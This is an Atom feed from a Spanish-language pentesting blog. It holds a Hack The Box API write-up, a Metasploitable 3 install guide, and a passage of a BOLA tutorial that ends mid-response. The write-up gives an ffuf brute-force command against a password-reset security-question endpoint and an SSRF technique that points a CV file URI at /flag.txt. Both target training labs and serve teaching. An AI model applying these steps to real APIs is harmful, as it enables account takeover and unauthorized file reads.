<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="es"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://ibl4zqu3z.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ibl4zqu3z.github.io/" rel="alternate" type="text/html" hreflang="es" /><updated>2026-09-24T22:12:02+02:00</updated><id>https://ibl4zqu3z.github.io/feed.xml</id><title type="html">Isaac Blázquez</title><subtitle>Portfolio profesional de pentesting, seguridad web, APIs e infraestructura.</subtitle><author><name>Isaac Blázquez</name></author><entry><title type="html">API Attack - HTB Skills Assessment</title><link href="https://ibl4zqu3z.github.io/blog/writeups/api-attack-skills-assessment.html" rel="alternate" type="text/html" title="API Attack - HTB Skills Assessment" /><published>2026-01-26T10:00:00+01:00</published><updated>2026-01-26T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/writeups/api-attack-htb-skills-assessment</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/writeups/api-attack-skills-assessment.html"><![CDATA[<h2 id="escenario">Escenario</h2>

<p>Tras reportar todas las vulnerabilidades en las versiones v0 y v1 del Marketplace de E-Commerce de Inlanefreight, el administrador intentó parchearlas todas en la v2.</p>

<p>Sin embargo, nuevos desarrolladores junior han implementado funcionalidades adicionales en la v2, y el administrador está preocupado de que puedan haber introducido nuevas vulnerabilidades. Evalúa la seguridad de la nueva versión de la API web y aplica todo lo aprendido a lo largo del módulo para comprometerla.</p>

<h2 id="objetivo">Objetivo</h2>

<p>Envia el contenido de la flag en ‘/flag.txt’</p>

<h2 id="datos">Datos</h2>

<p><strong>Cuenta</strong> : htbpentester@hackthebox.com:HTBPentester</p>

<p><strong>API doc</strong> : /swagger</p>

<h2 id="paso-1-iniciando-sesion-y-compromando-usuario-y-roles">Paso 1: Iniciando sesion y compromando usuario y roles</h2>

<p>Primero, inicié sesión usando las credenciales de la cuenta proporcionadas y comprobé la información y los roles del usuario.</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-1.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-2.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-3.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-4.png" alt="alt text" /></p>

<p>Una vez dentro, comprobe los datos de usuario</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-7.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-8.png" alt="alt text" /></p>

<p>json</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "customer": {
    "id": "3d6b5aba-302b-4c50-a90a-088307d0b637",
    "name": "HTBPentester",
    "email": "htbpentester@hackthebox.com",
    "phoneNumber": "+44 9999 999999",
    "birthDate": "1997-06-21"
  }
}

</code></pre></div></div>

<p>Vi que tenía asignados dos roles:</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-5.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-6.png" alt="alt text" /></p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
{
  "roles": [
    "Suppliers_Get",
    "Suppliers_GetAll"
  ]
}
</code></pre></div></div>

<h2 id="paso-2-identificando-broken-object-property-level-authorization">Paso 2: Identificando Broken Object Property Level Authorization</h2>

<p>Al consultar el endpoint <code class="language-plaintext highlighter-rouge">GET /api/v2/suppliers/all</code>, descubrí una vulnerabilidad de <strong>Broken Object Property Level Authorization (BOPLA)</strong>, concretamente <strong>Excessive Data Exposure</strong>.</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-9.png" alt="alt text" /></p>

<p>Esta vulnerabilidad podría provocar:</p>

<ul>
  <li><strong>Pérdidas financieras</strong> si los clientes contactan directamente con los proveedores, eludiendo la plataforma de Inlanefreight.</li>
  <li><strong>Bypass de autenticación y toma de control de cuentas</strong> al realizar fuerza bruta sobre la pregunta de seguridad asociada a las cuentas de usuario.</li>
</ul>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
{
  "suppliers": [
    {
      "id": "00ac3d74-6c7d-4ef0-bf15-00851bf353ba",
      "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "James Allen",
      "email": "J.Allen1607@globalsolutions.com",
      "securityQuestion": "SupplierDidNotProvideYet",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    },

    ...

    {
      "id": "eac0c347-12e0-4435-b902-c7e22e3c9dd5",
      "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "Patrick Howard",
      "email": "P.Howard1536@globalsolutions.com",
      "securityQuestion": "What is your favorite color?",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    },
    {
      "id": "b87017cd-c720-43a3-acbe-46bfbfd6e4aa",
      "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "Luca Walker",
      "email": "L.Walker1872@globalsolutions.com",
      "securityQuestion": "What is your favorite color?",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    },
    {
      "id": "fafebea0-8894-4744-b7de-6c66d5749740",
      "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "Tucker Harris",
      "email": "T.Harris1814@globalsolutions.com",
      "securityQuestion": "What is your favorite color?",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    },
    {
      "id": "36f17195-395f-443e-93a4-8ceee81c6106",
      "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "Brandon Rogers",
      "email": "B.Rogers1535@globalsolutions.com",
      "securityQuestion": "What is your favorite color?",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    },
    {
      "id": "73ff2040-8d86-4932-bd3f-6441d648dcca",
      "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
      "name": "Mason Alexander",
      "email": "M.Alexander1650@globalsolutions.com",
      "securityQuestion": "What is your favorite color?",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    },

    ...

    {
      "id": "b348f695-7f24-4707-a1d9-79ea4d4d2d5a",
      "companyID": "354d9cf9-4df4-49c3-bc4a-e714e7016759",
      "name": "Riley Henderson",
      "email": "R.Henderson1800@futuristicfurniture.com",
      "securityQuestion": "SupplierDidNotProvideYet",
      "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
    }
  ]
}
</code></pre></div></div>

<p>Después, me desplacé por la respuesta y observé que algunas cuentas tenían la pregunta de seguridad: “¿Cuál es tu color favorito?”, que es fácil de adivinar.</p>

<p>Además, encontré un endpoint de la API para restablecer contraseñas usando respuestas a preguntas de seguridad: <code class="language-plaintext highlighter-rouge">POST /api/v2/authentication/suppliers/passwords/resets/security-question-answers</code>.</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-10.png" alt="alt text" /></p>

<h3 id="fuerza-bruta">Fuerza Bruta</h3>

<p>Para explotar esto, busqué en Internet “color wordlist” y tomé la primera que encontré.</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-16.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-17.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-40.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-19.png" alt="alt text" /></p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
$ cat colors.txt | wc -l
75
</code></pre></div></div>

<p>También extraje los 5 correos electrónicos de las cuentas con preguntas de seguridad y los guardé en emails.txt.</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-14.png" alt="alt text" /></p>

<p>Después, utilicé ffuf para realizar fuerza bruta contra todas las cuentas, ya que comparten la misma pregunta de seguridad, tras probar primero algún valor aleatorio para obtener el mensaje de error y poder filtrarlo (false).</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
      $ ffuf -w emails.txt:EMAIL -w colors.txt:COLOR -u http://94.237.50.128:55283/api/v2/authentication/suppliers/passwords/resets/security-question-answers -X POST -H 'Content-Type: application/json' -d '{"SupplierEmail": "EMAIL", "SecurityQuestionAnswer": "COLOR", "NewPassword": "123456"}' -fr "false"
</code></pre></div></div>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://94.237.50.128:55283/api/v2/authentication/suppliers/passwords/resets/security-question-answers
 :: Wordlist         : EMAIL: /home/htb-ac-1333791/emails.txt
 :: Wordlist         : COLOR: /home/htb-ac-1333791/colors.txt
 :: Header           : Content-Type: application/json
 :: Data             : {"SupplierEmail": "EMAIL", "SecurityQuestionAnswer": "COLOR", "NewPassword": "123456"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: false
________________________________________________

[Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 6ms]
    * COLOR: &lt;REDACTED&gt;
    * EMAIL: B.Rogers1535@globalsolutions.com

:: Progress: [375/375] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
</code></pre></div></div>

<p>Incié sesión con la cuenta comprometida.</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-21.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-22.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-23.png" alt="alt text" /></p>

<p>Comprobé que no tenía roles asignados:</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-24.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-25.png" alt="alt text" /></p>

<p>En este punto, tenía dos opciones:</p>

<ul>
  <li>Probar todos los endpoints para encontrar una vulnerabilidad de autorización rota.</li>
  <li>Identificar qué acciones podían realizarse sin roles.</li>
</ul>

<p>Elegí el segundo enfoque.</p>

<h3 id="ataque-server-side-request-forgery-ssrf">Ataque Server-Side Request Forgery (SSRF)</h3>

<p>Detecté un campo al consultar la información del usuario actual:</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-26.png" alt="alt text" /></p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
{
  "supplier": {
    "id": "36f17195-395f-443e-93a4-8ceee81c6106",
    "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
    "name": "Brandon Rogers",
    "email": "B.Rogers1535@globalsolutions.com",
    "securityQuestion": "What is your favorite color?",
    "professionalCVPDFFileURI": "SupplierDidNotUploadYet"
  }
}
</code></pre></div></div>

<p>Observé un campo en la respuesta JSON de mi cuenta comprometida: <strong>professionalCVPDFFileURI</strong>.</p>

<p>Y dos endpoints relevantes que permiten subir un archivo y leer el contenido del archivo en Base64.</p>

<ul>
  <li>GET /api/v2/suppliers/current-user/cv</li>
  <li>POST /api/v2/suppliers/current-user/cv</li>
</ul>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-27.png" alt="alt text" /></p>

<p>Primero, intenté subir un archivo que no era PDF, pero el servidor validó correctamente la extensión del archivo:</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-28.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-29.png" alt="alt text" /></p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
{
  "errorMessage": "Could not upload the CV, its either malicious or very big in size"
}
</code></pre></div></div>

<p>Después, subí un archivo PDF, que fue aceptado correctamente:</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-30.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-31.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-32.png" alt="alt text" /></p>

<p>Mientras revisaba otros endpoints de la API, encontré una función de actualización que permitía modificar los datos del usuario, incluida la ruta del archivo:</p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
PUT /api/v2/suppliers/current-user
</code></pre></div></div>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-33.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-34.png" alt="alt text" /></p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
{
  "supplier": {
    "id": "36f17195-395f-443e-93a4-8ceee81c6106",
    "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
    "name": "Brandon Rogers",
    "email": "B.Rogers1535@globalsolutions.com",
    "securityQuestion": "What is your favorite color?",
    "professionalCVPDFFileURI": "file:///app/wwwroot/SupplierCVs/mypdf.pdf"
  }
}
</code></pre></div></div>

<p>Preparé el siguiente payload JSON para cambiar la ruta del archivo y hacer que apunte a /flag.txt, y para comprobar si podía actualizar también datos sensibles (y pude):</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-35.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-36.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-37.png" alt="alt text" /></p>

<p>Tras actualizar la información del usuario, utilicé el endpoint GET para recuperar el contenido del archivo (que estaba codificado en Base64):</p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-38.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/api-attack-skills-assessment/image-39.png" alt="alt text" /></p>

<p>Finalmente, decodifiqué la respuesta de la API y obtuve la flag:</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "SFRCe2YxOTBiODBjZDU0M2E4NGIyMz .... " | base64 --decode
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

<p>Esta evaluación de seguridad reveló vulnerabilidades críticas en la API del Marketplace de E-Commerce de Inlanefreight:</p>

<ul>
  <li><strong>Excessive Data Exposure (OWASP API #3–2023)</strong>: permitió acceder a información sensible de proveedores.</li>
  <li><strong>Security Question Weakness (OWASP API #2–2023 — Broken Authentication)</strong>: permitió a un atacante restablecer contraseñas y tomar control de cuentas.</li>
  <li><strong>Server-Side Request Forgery (SSRF) (OWASP API #7–2023)</strong>: se explotó para acceder a archivos internos del sistema.</li>
</ul>

<p>Estos problemas ponen de manifiesto la importancia de <strong>implementar controles de acceso robustos</strong>, <strong>mecanismos de autenticación seguros</strong> y una <strong>validación estricta de rutas de archivo</strong>. Las organizaciones deben <strong>aplicar el principio de mínimo privilegio</strong>, <strong>usar autenticación multifactor</strong> y <strong>validar todas las entradas del usuario</strong> para mitigar estos riesgos. Un testing de seguridad adecuado y revisiones de código rigurosas son esenciales para evitar estas vulnerabilidades en versiones futuras.</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="API" /><category term="SSRF" /><category term="Broken Authentication" /><summary type="html"><![CDATA[Writeup técnico del HTB Skills Assessment “API Attack”: enumeración de endpoints, abuso de autenticación y autorización, SSRF y evidencias reproducibles.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/api-attack-skills-assessment/featured_image_API_Attack.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/api-attack-skills-assessment/featured_image_API_Attack.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cómo instalar Metasploitable 3 para practicar pentesting</title><link href="https://ibl4zqu3z.github.io/blog/guias/como-instalar-metasploitable-3.html" rel="alternate" type="text/html" title="Cómo instalar Metasploitable 3 para practicar pentesting" /><published>2026-01-26T10:00:00+01:00</published><updated>2026-01-26T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/guias/como-instalar-metasploitable-3</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/guias/como-instalar-metasploitable-3.html"><![CDATA[<p>En este post te enseño a instalar Metasploitable 3 en tu equipo para que puedas practicar pentesting en dos maquinas cargadas de vulnerabilidades.</p>

<h2 id="requisitos-previos">Requisitos previos</h2>

<ul>
  <li>VirtualBox previamente instalado.</li>
  <li>Conexion a internet.</li>
</ul>

<h2 id="pasos">Pasos:</h2>

<h3 id="paso-1-instalar-vagrant">Paso 1: Instalar Vagrant</h3>

<p>Descarga Vagrant desde la direccion web:</p>

<p>https://developer.hashicorp.com/vagrant/install</p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-2.png" alt="alt text" /></p>

<p>Ejecuta el instalador descargado, acepta la licencia de uso y espera que acabe la instalacion.</p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-4.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-5.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-6.png" alt="alt text" /></p>

<p><strong>Importante</strong></p>

<p>Reinicia tu sistema después de la instalación para que las variables de entorno se configuren correctamente.</p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-7.png" alt="alt text" /></p>

<p>Una vez reiniciado el sistema instala el plugin “Vagrant Reload” ejecutando el siguiente comando en la consola de comandos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vagrant plugin install vagrant-reload
</code></pre></div></div>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-18.png" alt="alt text" /></p>

<h3 id="paso-2-descargar-las-maquinas-con-vagrant">Paso 2: Descargar las maquinas con vagrant.</h3>

<p>Abre una consola de powershell y ejecuta los siguientes comandos:</p>

<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">cd</span> <span class="nf">\</span>
<span class="nf">mkdir</span> <span class="nf">metasploitable-workspace</span>
<span class="nf">cd</span> <span class="nf">metasploitable-workspace</span>
</code></pre></div></div>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-22.png" alt="alt text" /></p>

<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">Invoke-WebRequest</span> <span class="nf">-Uri</span> <span class="nf">"https:</span><span class="err">/</span><span class="nv">/raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile"</span> <span class="nf">-OutFile</span> <span class="nf">"Vagrantfile"</span>
</code></pre></div></div>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-23.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-24.png" alt="alt text" /></p>

<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">vagrant</span> <span class="nf">up</span>
</code></pre></div></div>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-25.png" alt="alt text" /></p>

<p>Este proceso se tomara un tiempo en acabar dependiendo de tu conexion a internet.</p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-27.png" alt="alt text" /></p>

<p>Cuando acabe el proceso tendremos 2 maquinas nuevas en VirtualBox.</p>

<p><img src="/assets/img/blog/Como_Instalar_Metasploitable_3/image-28.png" alt="alt text" /></p>

<h2 id="enhorabuena">¡Enhorabuena!</h2>

<p>Ahora ya tienes 2 maquinas nuevas llenas de vulnerabilidades para explotarlas.</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Guías" /><category term="Metasploitable" /><category term="Laboratorio" /><summary type="html"><![CDATA[Guía paso a paso para instalar Metasploitable 3 y montar un laboratorio vulnerable orientado a práctica de pentesting.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/Como_Instalar_Metasploitable_3/featured_image_Metasploitable_3.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/Como_Instalar_Metasploitable_3/featured_image_Metasploitable_3.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">API1:2023 Broken Object Level Authorization</title><link href="https://ibl4zqu3z.github.io/blog/guias/api1-2023-broken-object-level-authorization.html" rel="alternate" type="text/html" title="API1:2023 Broken Object Level Authorization" /><published>2026-01-25T10:00:00+01:00</published><updated>2026-01-25T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/guias/api1-2023-broken-object-level-authorization</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/guias/api1-2023-broken-object-level-authorization.html"><![CDATA[<p>Las API web permiten a los usuarios solicitar datos o registros enviando varios parámetros. No verificar de forma adecuada y segura que un usuario tenga propiedad y permiso para ver un recurso específico a través de mecanismos de autorizacion a nivel de objetos puede provocar exposición de datos y vulnerabilidades de seguridad.</p>

<p>El OWASP API Security Top 10 es una lista de las diez vulnerabilidades de seguridad más críticas en las API, publicada por la fundación OWASP. La edición más reciente, lanzada en 2023, actualiza y reorganiza los riesgos identificados en la versión anterior (2019), reflejando el panorama de amenazas actual.</p>

<p>La API1:2023 - Autorización a nivel de objeto rota (BOLA)
Es el riesgo más común y grave, presente en aproximadamente el 40% de los ataques a APIs. Ocurre cuando una API no valida correctamente si un usuario tiene permiso para acceder a un objeto específico (por ejemplo, un ID de usuario o pedido), permitiendo el acceso no autorizado a datos sensibles.</p>

<p>Para mostrar esta vulnerabilidad usare un entorno controlado que tiene la vulnerabilidad <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639: Omisión de autorización a través de una clave controlada por el usuario</a>.</p>

<p>Se me ha proporcionado la credencial <code class="language-plaintext highlighter-rouge">htbpentester2@pentestercompany.com:HTBPentester2</code>. Esta cuenta pertenece a un proveedor por lo que utilizare el punto final <code class="language-plaintext highlighter-rouge">/api/v1/authentication/suppliers/sign-in</code> para iniciar sesión y obtener un JWT. Puedo acceder a la API web a través de un <a href="https://swagger.io/tools/swagger-ui/">Swagger</a> en la maquina objetivo.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image.png" alt="alt text" /></p>

<p>Lo primero que hare sera autentificarme para obtener el JWT que me permitira interactuar con la API. Para ello tomo las credenciales que me han suministrado y uso el punto final <code class="language-plaintext highlighter-rouge">/api/v1/authentication/suppliers/sign-in</code> para iniciar sesion</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-1.png" alt="alt text" /></p>

<p>Sustityo los valores string por los valores de la credencial y ejecuto</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-2.png" alt="alt text" /></p>

<p>Al ser una ejecucion satisfactoria la API me devuelve el JWT.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-3.png" alt="alt text" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"jwt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjJAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOlsiU3VwcGxpZXJDb21wYW5pZXNfR2V0WWVhcmx5UmVwb3J0QnlJRCIsIlN1cHBsaWVyc19HZXRRdWFydGVybHlSZXBvcnRCeUlEIl0sImV4cCI6MTc2ODc3Nzg2NywiaXNzIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiIsImF1ZCI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIifQ.5uv2erjbDuTErX6A2RmnevZQn2qtSO7y5IPDJXpSXOAlfXpAkLREPR5Fby7P6_hMxc3KHU3UagyzQwtGy9oNSg"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Para autenticarme usando el JWT, lo copiare de la respuesta y hare clic en el boton <code class="language-plaintext highlighter-rouge">Authorize</code>.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-5.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-6.png" alt="alt text" /></p>

<p>Ya que la cuenta que me han suministrado es de tipo “Proveedores” comprobare el usuario con el que tengo para conocer mas datos sobre el usando el punto final que contiene <code class="language-plaintext highlighter-rouge">current-user</code> en su ruta ya que utiliza el JWT del usuario actualmente autenticado para realizar la operación especificada, que en este caso es recuperar los datos del usuario actual.</p>

<p>En el menu de proveedores</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-7.png" alt="alt text" /></p>

<p>Selecciono <code class="language-plaintext highlighter-rouge">/api/v1/suppliers/current-user</code> y ejecuto para obtener los datos.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-8.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-9.png" alt="alt text" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"supplier"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"781391c3-c6e3-4f42-bea4-1e71b6d9b4e7"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"companyID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"b75a7c76-e149-4ca7-9c55-d9fc4ffa87be"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"HTBPentester2"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"htbpentester2@pentestercompany.com"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"phoneNumber"</span><span class="p">:</span><span class="w"> </span><span class="s2">"+44 9999 999992"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Ademas de los datos que me suministraron para realizar el pentest he obtenido el ID del usuario, el ID de la compañia del usuario y un numero de telefono.</p>

<p>El siguiente paso natural es conocer los roles asociados al usuario. Esto lo puedo lograr mediante el punto final <code class="language-plaintext highlighter-rouge">/api/v1/roles/current-user</code></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-10.png" alt="alt text" /></p>

<p>Al ejecutar obtengo los roles asociados al usuario.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-11.png" alt="alt text" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="s2">"SupplierCompanies_GetYearlyReportByID"</span><span class="p">,</span><span class="w">
    </span><span class="s2">"Suppliers_GetQuarterlyReportByID"</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>En el apartado <code class="language-plaintext highlighter-rouge">Supplier-Companies</code>, hay un punto final relacionado con el rol <code class="language-plaintext highlighter-rouge">SupplierCompanies_GetYearlyReportByID</code></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-13.png" alt="alt text" /></p>

<p>Este punto final acepta un parámetro GET: <code class="language-plaintext highlighter-rouge">/api/v1/supplier-companies/yearly-reports/{ID}</code>. Ademas requiere el <code class="language-plaintext highlighter-rouge">SupplierCompanies_GetYearlyReportByID</code> rol y acepta el <code class="language-plaintext highlighter-rouge">ID</code> parámetro como número entero y no como <code class="language-plaintext highlighter-rouge">Guid</code>.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-14.png" alt="alt text" /></p>

<p>Como el usuario que tengo tiene este rol puedo ejecutar dando el valor ID que quiera, por ejemplo “1”.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-15.png" alt="alt text" /></p>

<p>Esto me devuelve un registro el cual no es de la compañia del usuario que tengo autorizado, por lo que estare accediendo a datos de otros proveedores.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-16.png" alt="alt text" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"supplierCompanyYearlyReport"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
    </span><span class="nl">"companyID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f9e58492-b594-4d82-a4de-16e4f230fce1"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"year"</span><span class="p">:</span><span class="w"> </span><span class="mi">2020</span><span class="p">,</span><span class="w">
    </span><span class="nl">"revenue"</span><span class="p">:</span><span class="w"> </span><span class="mi">794425112</span><span class="p">,</span><span class="w">
